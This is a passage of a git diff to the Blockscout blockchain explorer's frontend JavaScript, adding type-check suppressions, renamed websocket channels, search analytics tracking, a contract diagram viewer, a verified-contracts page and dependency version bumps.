$('.main-search-autocomplete').on('keyup', function (event) { } }) if (!selected) { + // @ts-ignore search(event.target.value) } } diff --git a/apps/block_scout_web/assets/js/pages/pending_transactions.js b/apps/block_scout_web/assets/js/pages/pending_transactions.js index beec31418f60..eb47b7f0647d 100644 --- a/apps/block_scout_web/assets/js/pages/pending_transactions.js +++ b/apps/block_scout_web/assets/js/pages/pending_transactions.js @@ -32,7 +32,9 @@ export function reducer (state = initialState, action) { if (state.channelDisconnected) return state return Object.assign({}, state, { items: state.items.map((item) => item.includes(action.msg.transactionHash) ? action.msg.transactionHtml : item), + // @ts-ignore pendingTransactionsBatch: state.pendingTransactionsBatch.filter(transactionHtml => !transactionHtml.includes(action.msg.transactionHash)), + // @ts-ignore pendingTransactionCount: state.pendingTransactionCount - 1 }) } @@ -73,6 +75,7 @@ export function reducer (state = initialState, action) { const elements = { '[data-selector="channel-disconnected-message"]': { render ($el, state) { + // @ts-ignore if (state.channelDisconnected && !window.loading) $el.show() } }, @@ -101,13 +104,14 @@ const elements = { const $transactionPendingListPage = $('[data-page="transaction-pending-list"]') if ($transactionPendingListPage.length) { window.onbeforeunload = () => { + // @ts-ignore window.loading = true } const store = createAsyncLoadStore(reducer, initialState, 'dataset.identifierHash') connectElements({ store, elements }) - const transactionsChannel = socket.channel('transactions:new_transaction') + const transactionsChannel = socket.channel('transactions_old:new_transaction') transactionsChannel.join() transactionsChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' @@ -123,7 +127,7 @@ if ($transactionPendingListPage.length) { }), 1000) }) - const pendingTransactionsChannel = socket.channel('transactions:new_pending_transaction') + const pendingTransactionsChannel = socket.channel('transactions_old:new_pending_transaction') pendingTransactionsChannel.join() pendingTransactionsChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' diff --git a/apps/block_scout_web/assets/js/pages/search-results/search.js b/apps/block_scout_web/assets/js/pages/search-results/search.js index 6f7ff4434046..3abc837e4105 100644 --- a/apps/block_scout_web/assets/js/pages/search-results/search.js +++ b/apps/block_scout_web/assets/js/pages/search-results/search.js @@ -2,6 +2,7 @@ import $ from 'jquery' import omit from 'lodash.omit' import humps from 'humps' import { createAsyncLoadStore } from '../../lib/async_listing_load' +import * as analytics from '../../lib/analytics' const $searchInput = $('.search-input') @@ -24,6 +25,10 @@ export function reducer (state, action) { } if ($('[data-page="search-results"]').length) { + let searchTimer + let resultsTimer + const waitTime = 500 + const store = createAsyncLoadStore(reducer, initialState, 'dataset.identifierHash') store.dispatch({ @@ -33,11 +38,22 @@ if ($('[data-page="search-results"]').length) { $searchInput.on('input', (event) => { const value = $(event.target).val() + clearTimeout(searchTimer) + searchTimer = setTimeout(() => { + const eventName = 'Occurs searching according to substring at the search page' + const eventProperties = { + search: value + } + analytics.trackEvent(eventName, eventProperties) + }, waitTime) + + // @ts-ignore $('.js-search-results-query-display').text(value) const loc = window.location.pathname - if (value.length >= 3 || value === '') { + // @ts-ignore + if ((value && value.length >= 3) || value === '') { store.dispatch({ type: 'START_SEARCH' }) store.dispatch({ type: 'START_REQUEST' }) $.ajax({ @@ -47,7 +63,32 @@ if ($('[data-page="search-results"]').length) { contentType: 'application/json; charset=utf-8' }).done(response => store.dispatch(Object.assign({ type: 'ITEMS_FETCHED' }, humps.camelizeKeys(response)))) .fail(() => store.dispatch({ type: 'REQUEST_ERROR' })) - .always(() => store.dispatch({ type: 'FINISH_REQUEST' })) + .always(() => { + const $results = $('#search_results_table_body tr') + $results.click((event) => { + console.log(event) + const eventName = 'Search item click at the search page' + const eventProperties = { + item: event.currentTarget.innerText + } + analytics.trackEvent(eventName, eventProperties) + event.stopImmediatePropagation() + }) + + clearTimeout(resultsTimer) + resultsTimer = setTimeout(() => { + const eventName = 'Search list displays at the search page' + const eventProperties = { + resultsNumber: $results.length, + results: $results.map((_i, el) => { + return el.innerText + }) + } + analytics.trackEvent(eventName, eventProperties) + }, waitTime) + + store.dispatch({ type: 'FINISH_REQUEST' }) + }) } }) } diff --git a/apps/block_scout_web/assets/js/pages/sol2uml.js b/apps/block_scout_web/assets/js/pages/sol2uml.js new file mode 100644 index 000000000000..df6aa7cc3fa7 --- /dev/null +++ b/apps/block_scout_web/assets/js/pages/sol2uml.js @@ -0,0 +1,84 @@ +import 'viewerjs/dist/viewer.min.css' +import Viewer from 'viewerjs' +import $ from 'jquery' +import { createStore, connectElements } from '../lib/redux_helpers.js' + +export const initialState = { + contract_svg: null, + visualize_error: null +} + +export function reducer (state = initialState, action) { + switch (action.type) { + case 'SVG_FETCHED': { + return Object.assign({}, state, { + contract_svg: action.contract_svg, + visualize_error: action.error + }) + } + default: + return state + } +} + +const elements = { + '[data-selector="contract-image"]': { + render ($el, state, oldState) { + if (state.contract_svg) { + $('#spinner').hide() + $('#gallery img').attr('src', 'data:image/svg+xml;base64,' + state.contract_svg) + const gallery = document.getElementById('gallery') + if (gallery) { + const viewer = new Viewer(gallery, { + inline: false, + toolbar: { + zoomIn: 2, + zoomOut: 4, + oneToOne: 4, + reset: 4, + play: { + show: 4, + size: 'large' + }, + rotateLeft: 4, + rotateRight: 4, + flipHorizontal: 4, + flipVertical: 4 + } + }) + viewer.update() + $el.show() + } + } else if (state.visualize_error) { + $('#spinner').hide() + $el.empty().text('Cannot visualize contract: ' + state.visualize_error) + $el.show() + } else { + $('#spinner').show() + $el.hide() + } + } + } +} + +function loadSvg (store) { + const $element = $('[data-async-contract-svg]') + const path = $element.data().asyncContractSvg + + function fetchSvg () { + $.getJSON(path) + .done((response) => { + store.dispatch(Object.assign({ type: 'SVG_FETCHED' }, response)) + }) + } + + fetchSvg() +} + +function main () { + const store = createStore(reducer) + connectElements({ store, elements }) + loadSvg(store) +} + +main() diff --git a/apps/block_scout_web/assets/js/pages/token/search.js b/apps/block_scout_web/assets/js/pages/token/search.js index 66e0307287b4..867bb3856291 100644 --- a/apps/block_scout_web/assets/js/pages/token/search.js +++ b/apps/block_scout_web/assets/js/pages/token/search.js @@ -2,7 +2,9 @@ import $ from 'jquery' import omit from 'lodash.omit' import humps from 'humps' import { createAsyncLoadStore } from '../../lib/async_listing_load' +import { connectElements } from '../../lib/redux_helpers.js' import '../address' +import { formatUsdValue } from '../../lib/currency' const $searchInput = $('.tokens-list-search-input') @@ -24,29 +26,50 @@ export function reducer (state, action) { } } +const elements = { + '[data-usd-value]': { + render ($el, state) { + $el.each((i, el) => { + el.innerHTML = formatUsdValue(el.dataset.usdValue) + }) + // @ts-ignore + if (!window.loading) $el.show() + } + } +} + if ($('[data-page="tokens"]').length) { + let timer + const waitTime = 500 + const store = createAsyncLoadStore(reducer, initialState, 'dataset.identifierHash') + connectElements({ store, elements }) + store.dispatch({ type: 'PAGE_LOAD' }) $searchInput.on('input', (event) => { - const value = $(event.target).val() - - const loc = window.location.pathname - - if (value.length >= 3 || value === '') { - store.dispatch({ type: 'START_SEARCH' }) - store.dispatch({ type: 'START_REQUEST' }) - $.ajax({ - url: `${loc}?type=JSON&filter=${value}`, - type: 'GET', - dataType: 'json', - contentType: 'application/json; charset=utf-8' - }).done(response => store.dispatch(Object.assign({ type: 'ITEMS_FETCHED' }, humps.camelizeKeys(response)))) - .fail(() => store.dispatch({ type: 'REQUEST_ERROR' })) - .always(() => store.dispatch({ type: 'FINISH_REQUEST' })) - } + clearTimeout(timer) + timer = setTimeout(() => { + const value = $(event.target).val() + + const loc = window.location.pathname + + // @ts-ignore + if ((value && value.length >= 3) || value === '') { + store.dispatch({ type: 'START_SEARCH' }) + store.dispatch({ type: 'START_REQUEST' }) + $.ajax({ + url: `${loc}?type=JSON&filter=${value}`, + type: 'GET', + dataType: 'json', + contentType: 'application/json; charset=utf-8' + }).done(response => store.dispatch(Object.assign({ type: 'ITEMS_FETCHED' }, humps.camelizeKeys(response)))) + .fail(() => store.dispatch({ type: 'REQUEST_ERROR' })) + .always(() => store.dispatch({ type: 'FINISH_REQUEST' })) + } + }, waitTime) }) } diff --git a/apps/block_scout_web/assets/js/pages/token/token_transfers.js b/apps/block_scout_web/assets/js/pages/token/token_transfers.js index bbdcf7e2e9a4..682e8de7ab07 100644 --- a/apps/block_scout_web/assets/js/pages/token/token_transfers.js +++ b/apps/block_scout_web/assets/js/pages/token/token_transfers.js @@ -45,6 +45,7 @@ export function reducer (state, action) { const elements = { '[data-selector="channel-disconnected-message"]': { render ($el, state) { + // @ts-ignore if (state.channelDisconnected && !window.loading) $el.show() } } @@ -52,11 +53,13 @@ const elements = { if ($('[data-page="token-transfer-list"]')) { window.onbeforeunload = () => { + // @ts-ignore window.loading = true } const store = createAsyncLoadStore(reducer, initialState, 'dataset.identifierHash') const addressHash = $('[data-page="token-details"]')[0].dataset.pageAddressHash + // @ts-ignore const { blockNumber } = humps.camelizeKeys(URI(window.location).query(true)) connectElements({ store, elements }) @@ -67,7 +70,7 @@ if ($('[data-page="token-transfer-list"]')) { beyondPageOne: !!blockNumber }) - const tokensChannel = subscribeChannel(`tokens:${addressHash}`) + const tokensChannel = subscribeChannel(`tokens_old:${addressHash}`) tokensChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' })) tokensChannel.on('token_transfer', (msg) => { store.dispatch({ @@ -76,7 +79,7 @@ if ($('[data-page="token-transfer-list"]')) { }) }) - const rewardsChannel = subscribeChannel(`rewards:${addressHash}`) + const rewardsChannel = subscribeChannel(`rewards_old:${addressHash}`) rewardsChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' })) rewardsChannel.on('new_reward', (msg) => { store.dispatch({ diff --git a/apps/block_scout_web/assets/js/pages/token_counters.js b/apps/block_scout_web/assets/js/pages/token_counters.js index 62b51e0f0da5..f11b0c88dd0e 100644 --- a/apps/block_scout_web/assets/js/pages/token_counters.js +++ b/apps/block_scout_web/assets/js/pages/token_counters.js @@ -7,6 +7,7 @@ import '../app' import { openQrModal } from '../lib/modals' +import { subscribeChannel } from '../socket' export const initialState = { channelDisconnected: false, @@ -26,6 +27,11 @@ export function reducer (state = initialState, action) { tokenHolderCount: action.tokenHolderCount }) } + case 'RECEIVED_NEW_TOTAL_SUPPLY': { + return Object.assign({}, state, { + totalSupply: action.msg.totalSupply + }) + } default: return state } @@ -55,6 +61,16 @@ const elements = { return $el.show() } } + }, + '[data-selector="total-supply-row"]': { + render ($el, state) { + if (state.totalSupply) { + const value = $el.find('[data-selector="total-supply-value"]') + value.empty().append(state.totalSupply + ' ' + value[0].dataset.tokenSymbol) + state.totalSupply = null + return $el.removeClass('d-none') + } + } } } @@ -81,11 +97,21 @@ if ($tokenPage.length) { function updateCounters () { const store = createStore(reducer) connectElements({ store, elements }) + const addressHash = $('[data-page="token-details"]')[0].dataset.pageAddressHash + const tokensChannel = subscribeChannel(`tokens_old:${addressHash}`) + tokensChannel.on('total_supply', (msg) => { + store.dispatch({ + type: 'RECEIVED_NEW_TOTAL_SUPPLY', + msg: humps.camelizeKeys(msg) + }) + }) + loadCounters(store) } if ($('[data-page="token-holders-list"]').length) { window.onbeforeunload = () => { + // @ts-ignore window.loading = true } diff --git a/apps/block_scout_web/assets/js/pages/transaction.js b/apps/block_scout_web/assets/js/pages/transaction.js index 0c82341909d6..0927f50f9423 100644 --- a/apps/block_scout_web/assets/js/pages/transaction.js +++ b/apps/block_scout_web/assets/js/pages/transaction.js @@ -6,6 +6,7 @@ import socket from '../socket' import { createStore, connectElements } from '../lib/redux_helpers.js' import '../lib/transaction_input_dropdown' import '../lib/async_listing_load' +import { commonPath } from '../lib/path_helper' import '../app' import Swal from 'sweetalert2' import { compareChainIDs, formatError } from '../lib/smart_contract/common_helpers' @@ -20,11 +21,19 @@ export function reducer (state = initialState, action) { case 'ELEMENTS_LOAD': { return Object.assign({}, state, omit(action, 'type')) } + case 'RECEIVED_NEW_RAW_TRACE': { + return Object.assign({}, state, { + rawTrace: action.msg.rawTrace + }) + } case 'RECEIVED_NEW_BLOCK': { - if ((action.msg.blockNumber - state.blockNumber) > state.confirmations) { - return Object.assign({}, state, { - confirmations: action.msg.blockNumber - state.blockNumber - }) + if (state.blockNumber) { + // @ts-ignore + if ((action.msg.blockNumber - state.blockNumber) > state.confirmations) { + return Object.assign({}, state, { + confirmations: action.msg.blockNumber - state.blockNumber + }) + } else return state } else return state } default: @@ -44,6 +53,16 @@ const elements = { $el.empty().append(numeral(state.confirmations).format()) } } + }, + '[data-selector="raw-trace"]': { + render ($el, state) { + if (state.rawTrace) { + $el[0].innerHTML = state.rawTrace + state.rawTrace = null + return $el + } + return $el + } } } @@ -52,30 +71,37 @@ if ($transactionDetailsPage.length) { const store = createStore(reducer) connectElements({ store, elements }) + const transactionHash = $transactionDetailsPage[0].dataset.pageTransactionHash + const transactionChannel = socket.channel(`transactions_old:${transactionHash}`, {}) + transactionChannel.join() + transactionChannel.on('collated', () => window.location.reload()) + transactionChannel.on('raw_trace', (msg) => store.dispatch({ + type: 'RECEIVED_NEW_RAW_TRACE', + msg: humps.camelizeKeys(msg) + })) + const pathParts = window.location.pathname.split('/') const shouldScroll = pathParts.includes('internal-transactions') || pathParts.includes('token-transfers') || pathParts.includes('logs') || pathParts.includes('token-transfers') || - pathParts.includes('raw-trace') + pathParts.includes('raw-trace') || + pathParts.includes('state') if (shouldScroll) { - document.getElementById('transaction-tabs').scrollIntoView() + const txTabsObj = document.getElementById('transaction-tabs') + txTabsObj && txTabsObj.scrollIntoView() } - const blocksChannel = socket.channel('blocks:new_block', {}) + const blocksChannel = socket.channel('blocks_old:new_block', {}) blocksChannel.join() blocksChannel.on('new_block', (msg) => store.dispatch({ type: 'RECEIVED_NEW_BLOCK', msg: humps.camelizeKeys(msg) })) - const transactionHash = $transactionDetailsPage[0].dataset.pageTransactionHash - const transactionChannel = socket.channel(`transactions:${transactionHash}`, {}) - transactionChannel.join() - transactionChannel.on('collated', () => window.location.reload()) - $('.js-cancel-transaction').on('click', (event) => { const btn = $(event.target) + // @ts-ignore if (!window.ethereum) { btn .attr('data-original-title', `Please unlock ${btn.data('from')} account in Metamask`) @@ -88,6 +114,7 @@ if ($transactionDetailsPage.length) { }, 3000) return } + // @ts-ignore const { chainId: walletChainIdHex } = window.ethereum compareChainIDs(btn.data('chainId'), walletChainIdHex) .then(() => { @@ -97,12 +124,13 @@ if ($transactionDetailsPage.length) { value: 0, nonce: btn.data('nonce').toString() } + // @ts-ignore window.ethereum.request({ method: 'eth_sendTransaction', params: [txParams] }) .then(function (txHash) { - const successMsg = `Canceling transaction successfully sent to the network. The current one will change the status once canceling transaction will be confirmed.` + const successMsg = `Canceling transaction successfully sent to the network. The current one will change the status once canceling transaction will be confirmed.` Swal.fire({ title: 'Success', html: successMsg, @@ -141,26 +169,26 @@ $(function () { $collapseButton.on('click', event => { const $button = event.target const $parent = $button.parentElement - const $collapseButton = $parent.querySelector('[button-collapse-input]') - const $expandButton = $parent.querySelector('[button-expand-input]') - const $hiddenText = $parent.querySelector('[data-hidden-text]') - const $placeHolder = $parent.querySelector('[data-placeholder-dots]') - $collapseButton.classList.add('d-none') - $expandButton.classList.remove('d-none') - $hiddenText.classList.add('d-none') - $placeHolder.classList.remove('d-none') + const $collapseButton = $parent && $parent.querySelector('[button-collapse-input]') + const $expandButton = $parent && $parent.querySelector('[button-expand-input]') + const $hiddenText = $parent && $parent.querySelector('[data-hidden-text]') + const $placeHolder = $parent && $parent.querySelector('[data-placeholder-dots]') + $collapseButton && $collapseButton.classList.add('d-none') + $expandButton && $expandButton.classList.remove('d-none') + $hiddenText && $hiddenText.classList.add('d-none') + $placeHolder && $placeHolder.classList.remove('d-none') }) $expandButton.on('click', event => { const $button = event.target const $parent = $button.parentElement - const $collapseButton = $parent.querySelector('[button-collapse-input]') - const $expandButton = $parent.querySelector('[button-expand-input]') - const $hiddenText = $parent.querySelector('[data-hidden-text]') - const $placeHolder = $parent.querySelector('[data-placeholder-dots]') - $expandButton.classList.add('d-none') - $collapseButton.classList.remove('d-none') - $hiddenText.classList.remove('d-none') - $placeHolder.classList.add('d-none') + const $collapseButton = $parent && $parent.querySelector('[button-collapse-input]') + const $expandButton = $parent && $parent.querySelector('[button-expand-input]') + const $hiddenText = $parent && $parent.querySelector('[data-hidden-text]') + const $placeHolder = $parent && $parent.querySelector('[data-placeholder-dots]') + $expandButton && $expandButton.classList.add('d-none') + $collapseButton && $collapseButton.classList.remove('d-none') + $hiddenText && $hiddenText.classList.remove('d-none') + $placeHolder && $placeHolder.classList.add('d-none') }) }) diff --git a/apps/block_scout_web/assets/js/pages/transactions.js b/apps/block_scout_web/assets/js/pages/transactions.js index dc306eb11d05..765eb1292033 100644 --- a/apps/block_scout_web/assets/js/pages/transactions.js +++ b/apps/block_scout_web/assets/js/pages/transactions.js @@ -58,6 +58,7 @@ export function reducer (state = initialState, action) { const elements = { '[data-selector="channel-disconnected-message"]': { render ($el, state) { + // @ts-ignore if (state.channelDisconnected && !window.loading) $el.show() } }, @@ -83,6 +84,7 @@ const elements = { const $transactionListPage = $('[data-page="transaction-list"]') if ($transactionListPage.length) { window.onbeforeunload = () => { + // @ts-ignore window.loading = true } @@ -90,7 +92,7 @@ if ($transactionListPage.length) { connectElements({ store, elements }) - const transactionsChannel = socket.channel('transactions:new_transaction') + const transactionsChannel = socket.channel('transactions_old:new_transaction') transactionsChannel.join() transactionsChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' diff --git a/apps/block_scout_web/assets/js/pages/verification_form.js b/apps/block_scout_web/assets/js/pages/verification_form.js index 687eced49c8d..03c9127c99a0 100644 --- a/apps/block_scout_web/assets/js/pages/verification_form.js +++ b/apps/block_scout_web/assets/js/pages/verification_form.js @@ -40,6 +40,7 @@ export function reducer (state = initialState, action) { const elements = { '[data-selector="channel-disconnected-message"]': { render ($el, state) { + // @ts-ignore if (state.channelDisconnected && !window.loading) $el.show() } }, @@ -66,24 +67,27 @@ const $contractVerificationChooseTypePage = $('[data-page="contract-verification function filterNightlyBuilds (filter, selectFirstNonNightly_) { const select = document.getElementById('smart_contract_compiler_version') - const options = select.getElementsByTagName('option') + const options = select && select.getElementsByTagName('option') let selectFirstNonNightly = selectFirstNonNightly_ - for (const option of options) { - const txtValue = option.textContent || option.innerText - if (filter) { - if (txtValue.toLowerCase().indexOf('nightly') > -1) { - option.style.display = 'none' + if (options) { + for (const option of options) { + const txtValue = option.textContent || option.innerText + if (filter) { + if (txtValue.toLowerCase().indexOf('nightly') > -1) { + option.style.display = 'none' + } else { + if (selectFirstNonNightly) { + // @ts-ignore + option.selected = 'selected' + selectFirstNonNightly = false + } + option.style.display = '' + } } else { - if (selectFirstNonNightly) { - option.selected = 'selected' - selectFirstNonNightly = false + if (txtValue.toLowerCase().indexOf('nightly') > -1) { + option.style.display = '' } - option.style.display = '' - } - } else { - if (txtValue.toLowerCase().indexOf('nightly') > -1) { - option.style.display = '' } } } @@ -93,6 +97,7 @@ let dropzone if ($contractVerificationPage.length) { window.onbeforeunload = () => { + // @ts-ignore window.loading = true } @@ -105,7 +110,7 @@ if ($contractVerificationPage.length) { }) connectElements({ store, elements }) - const addressChannel = subscribeChannel(`addresses:${addressHash}`) + const addressChannel = subscribeChannel(`addresses_old:${addressHash}`) addressChannel.onError(() => store.dispatch({ type: 'CHANNEL_DISCONNECTED' @@ -122,9 +127,7 @@ if ($contractVerificationPage.length) { $(function () { initializeDropzone() - setTimeout(function () { - $('.nightly-builds-false').trigger('click') - }, 10) + filterNightlyBuilds(true, false) $('body').on('click', '.js-btn-add-contract-libraries', function () { $('.js-smart-contract-libraries-wrapper').show() @@ -188,6 +191,7 @@ if ($contractVerificationPage.length) { // submit form without page updating in order to avoid websocket reconnecting event.preventDefault() const $form = $('form')[0] + // @ts-ignore $.post($form.action, convertFormToJSON($form)) }) diff --git a/apps/block_scout_web/assets/js/pages/verified_contracts.js b/apps/block_scout_web/assets/js/pages/verified_contracts.js new file mode 100644 index 000000000000..01b2559d5b6b --- /dev/null +++ b/apps/block_scout_web/assets/js/pages/verified_contracts.js @@ -0,0 +1,107 @@ +import $ from 'jquery' +import omit from 'lodash.omit' +import { loadPage, createAsyncLoadStore } from '../lib/async_listing_load' +import { connectElements } from '../lib/redux_helpers.js' +import { formatUsdValue } from '../lib/currency' + +export const initialState = { + isSearch: false +} + +const elements = { + '[data-search-field]': { + render ($el, state) { + return $el + } + }, + '[data-search-button]': { + render ($el, state) { + return $el + } + }, + '[data-cancel-search-button]': { + render ($el, state) { + if (!state.isSearch) { + return $el.hide() + } + + return $el.show() + } + }, + '[data-search]': { + render ($el, state) { + if (state.emptyResponse && !state.isSearch) { + return $el.hide() + } + + return $el.show() + } + }, + '[data-usd-value]': { + render ($el, state) { + $el.each((i, el) => { + el.innerHTML = formatUsdValue(el.dataset.usdValue) + }) + // @ts-ignore + if (!window.loading) $el.show() + } + } +} + +export function reducer (state, action) { + switch (action.type) { + case 'PAGE_LOAD': + case 'ELEMENTS_LOAD': { + return Object.assign({}, state, omit(action, 'type')) + } + case 'START_SEARCH': { + return Object.assign({}, state, { pagesStack: [], isSearch: true }) + } + default: + return state + } +} + +if ($('[data-page="verified-contracts-list"]').length) { + let timer + const waitTime = 500 + + const $element = $('[data-async-listing]') + + $element.on('click', '[data-next-page-button], [data-prev-page-button]', (event) => { + const obj = document.getElementById('verified-contracts-list') + if (obj) { + obj.scrollIntoView() + } + }) + + const store = createAsyncLoadStore(reducer, initialState, 'dataset.identifierHash') + + connectElements({ store, elements }) + + const searchFunc = (_event) => { + store.dispatch({ type: 'START_SEARCH' }) + const searchInput = $('[data-search-field]').val() + const pathHaveNoParams = window.location.pathname + '?search=' + searchInput + const pathHaveParams = window.location.pathname + window.location.search + '&search=' + searchInput + const path = window.location.href.includes('?') ? pathHaveParams : pathHaveNoParams + loadPage(store, path) + } + + store.dispatch({ + type: 'PAGE_LOAD' + }) + + $element.on('input keyup', '[data-search-field]', (event) => { + if (event.type === 'input') { + clearTimeout(timer) + timer = setTimeout(() => { + searchFunc(event) + }, waitTime) + } + if (event.type === 'keyup' && event.keyCode === 13) { + clearTimeout(timer) + searchFunc(event) + } + }) +} diff --git a/apps/block_scout_web/assets/js/socket.js b/apps/block_scout_web/assets/js/socket.js index 76c110acdb3d..45b39c32344d 100644 --- a/apps/block_scout_web/assets/js/socket.js +++ b/apps/block_scout_web/assets/js/socket.js @@ -1,9 +1,10 @@ import { Socket } from 'phoenix' import { locale } from './locale' +import { commonPath } from './lib/path_helper' -let websocketRootUrl = process.env.SOCKET_ROOT -if (!websocketRootUrl || websocketRootUrl === '/') { - websocketRootUrl = '' +let websocketRootUrl = commonPath +if (websocketRootUrl.endsWith('/')) { + websocketRootUrl = websocketRootUrl.slice(0, -1) } const socket = new Socket(websocketRootUrl + '/socket', { params: { locale } }) @@ -23,6 +24,7 @@ export default socket * Returns a Channel instance. */ export function subscribeChannel (topic) { + // @ts-ignore const channel = socket.channels.find(channel => channel.topic === topic) if (channel) { diff --git a/apps/block_scout_web/assets/js/view_specific/address_contract/code_highlighting.js b/apps/block_scout_web/assets/js/view_specific/address_contract/code_highlighting.js index 2a0068a23678..6c083190d4f7 100644 --- a/apps/block_scout_web/assets/js/view_specific/address_contract/code_highlighting.js +++ b/apps/block_scout_web/assets/js/view_specific/address_contract/code_highlighting.js @@ -1,3 +1,4 @@ +// @ts-nocheck import '../../lib/ace/src-min/ace' import '../../lib/ace/src-min/mode-csharp' import '../../lib/ace/src-min/theme-chrome' diff --git a/apps/block_scout_web/assets/package-lock.json b/apps/block_scout_web/assets/package-lock.json index acae87ba3198..1d8216ed3343 100644 --- a/apps/block_scout_web/assets/package-lock.json +++ b/apps/block_scout_web/assets/package-lock.json @@ -7,24 +7,25 @@ "name": "blockscout", "license": "GPL-3.0", "dependencies": { - "@fortawesome/fontawesome-free": "^6.2.0", - "@tarekraafat/autocomplete.js": "^10.2.7", + "@amplitude/analytics-browser": "^2.21.1", + "@fortawesome/fontawesome-free": "^6.7.2", + "@tarekraafat/autocomplete.js": "^10.2.9", "@walletconnect/web3-provider": "^1.8.0", - "assert": "^2.0.0", - "bignumber.js": "^9.1.0", + "assert": "^2.1.0", + "bignumber.js": "^9.3.1", "bootstrap": "^4.6.0", - "chart.js": "^3.9.1", - "chartjs-adapter-luxon": "^1.2.0", + "chart.js": "^4.5.0", + "chartjs-adapter-luxon": "^1.3.1", "clipboard": "^2.0.11", - "core-js": "^3.25.0", - "crypto-browserify": "^3.12.0", + "core-js": "^3.43.0", + "crypto-browserify": "^3.12.1", "dropzone": "^5.9.3", "eth-net-props": "^1.0.41", - "highlight.js": "^11.6.0", + "highlight.js": "^11.11.1", "https-browserify": "^1.0.0", "humps": "^2.0.1", - "jquery": "^3.6.1", - "js-cookie": "^3.0.1", + "jquery": "^3.7.1", + "js-cookie": "^3.0.5", "lodash.debounce": "^4.0.8", "lodash.differenceby": "^4.8.0", "lodash.find": "^4.6.0", @@ -43,56 +44,61 @@ "lodash.omit": "^4.5.0", "lodash.rangeright": "^4.2.0", "lodash.reduce": "^4.6.0", - "luxon": "^3.0.3", - "moment": "^2.29.4", + "luxon": "^3.7.1", + "malihu-custom-scrollbar-plugin": "3.1.5", + "mixpanel-browser": "^2.67.0", + "moment": "^2.30.1", "nanomorph": "^5.4.0", "numeral": "^2.0.6", "os-browserify": "^0.3.0", "path-parser": "^6.1.0", "phoenix": "file:../../../deps/phoenix", "phoenix_html": "file:../../../deps/phoenix_html", + "photoswipe": "^5.4.4", "pikaday": "^1.8.2", "popper.js": "^1.14.7", "reduce-reducers": "^1.0.4", - "redux": "^4.2.0", + "redux": "^5.0.1", "stream-browserify": "^3.0.0", "stream-http": "^3.1.1", - "sweetalert2": "^11.4.29", + "sweetalert2": "^11.22.4", "urijs": "^1.19.11", - "url": "^0.11.0", - "util": "^0.12.3", - "web3": "^1.7.0", - "web3modal": "^1.9.9", - "xss": "^1.0.14" + "url": "^0.11.4", + "util": "^0.12.5", + "viewerjs": "^1.11.7", + "web3": "^4.12.1", + "web3modal": "^1.9.12", + "xss": "^1.0.15" }, "devDependencies": { - "@babel/core": "^7.18.13", - "@babel/preset-env": "^7.18.10", - "autoprefixer": "^10.4.8", - "babel-loader": "^8.2.5", - "copy-webpack-plugin": "^11.0.0", - "css-loader": "^5.2.7", - "css-minimizer-webpack-plugin": "^4.0.0", - "eslint": "^8.23.0", - "eslint-config-standard": "^17.0.0", - "eslint-plugin-import": "^2.26.0", + "@babel/core": "^7.28.0", + "@babel/preset-env": "^7.28.0", + "autoprefixer": "^10.4.21", + "babel-loader": "^10.0.0", + "copy-webpack-plugin": "^13.0.0", + "css-loader": "^7.1.2", + "css-minimizer-webpack-plugin": "^7.0.2", + "eslint": "^9.30.1", + "eslint-formatter-junit": "^8.40.0", + "eslint-plugin-import": "^2.32.0", "eslint-plugin-node": "^11.1.0", - "eslint-plugin-promise": "^6.0.1", + "eslint-plugin-promise": "^7.2.1", "file-loader": "^6.2.0", - "jest": "^29.0.1", - "jest-environment-jsdom": "^29.0.1", - "mini-css-extract-plugin": "^2.6.1", - "postcss": "^8.4.16", - "postcss-loader": "^7.0.1", - "sass": "^1.54.8", - "sass-loader": "^13.0.2", - "style-loader": "^3.3.1", - "webpack": "^5.74.0", - "webpack-cli": "^4.10.0" + "globals": "^16.3.0", + "jest": "^29.7.0", + "jest-environment-jsdom": "^30.0.5", + "mini-css-extract-plugin": "^2.9.2", + "postcss": "^8.5.6", + "postcss-loader": "^8.1.1", + "sass": "^1.89.2", + "sass-loader": "^14.2.1", + "style-loader": "^4.0.0", + "webpack": "^5.99.9", + "webpack-cli": "^6.0.1" }, "engines": { - "node": "16.x", - "npm": "8.x" + "node": ">=16.0.0", + "npm": ">=8.0.0" } }, "../../../deps/phoenix": { @@ -101,6 +107,197 @@ "../../../deps/phoenix_html": { "version": "0.0.1" }, + "node_modules/@aashutoshrathi/word-wrap": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@aashutoshrathi/word-wrap/-/word-wrap-1.2.6.tgz", + "integrity": "sha512-1Yjs2SvM8TflER/OD3cOjhWWOZb58A2t7wpE2S9XfBYTiIl+XFhQG2bjy4Pu1I+EAlCNUzRDYDdFwFYUKvXcIA==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/@adraffy/ens-normalize": { + "version": "1.10.1", + "resolved": "https://registry.npmjs.org/@adraffy/ens-normalize/-/ens-normalize-1.10.1.tgz", + "integrity": "sha512-96Z2IP3mYmF1Xg2cDm8f1gWGf/HUVedQ3FMifV4kG/PQ4yEP51xDtRAEfhVNt5f/uzpNkZHwWQuUcu6D6K+Ekw==" + }, + "node_modules/@amplitude/analytics-browser": { + "version": "2.21.1", + "resolved": "https://registry.npmjs.org/@amplitude/analytics-browser/-/analytics-browser-2.21.1.tgz", + "integrity": "sha512-3Snmz4OgtSFWnFcqIC5QCFuUSIaVIK2iX0Wl1KIV+DzDhRwc+JIxuJCiwgWkvTPiO1N0Vfi9CO/bdockHqEMzg==", + "license": "MIT", + "dependencies": { + "@amplitude/analytics-core": "^2.19.0", + "@amplitude/analytics-remote-config": "^0.4.0", + "@amplitude/plugin-autocapture-browser": "^1.8.1", + "@amplitude/plugin-network-capture-browser": "^1.4.2", + "@amplitude/plugin-page-view-tracking-browser": "^2.3.37", + "@amplitude/plugin-web-vitals-browser": "^0.1.0-beta.12", + "tslib": "^2.4.1" + } + }, + "node_modules/@amplitude/analytics-browser/node_modules/tslib": { + "version": "2.4.1", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.4.1.tgz", + "integrity": "sha512-tGyy4dAjRIEwI7BzsB0lynWgOpfqjUdq91XXAlIWD2OwKBH7oCl/GZG/HT4BOHrTlPMOASlMQ7veyTqpmRcrNA==" + }, + 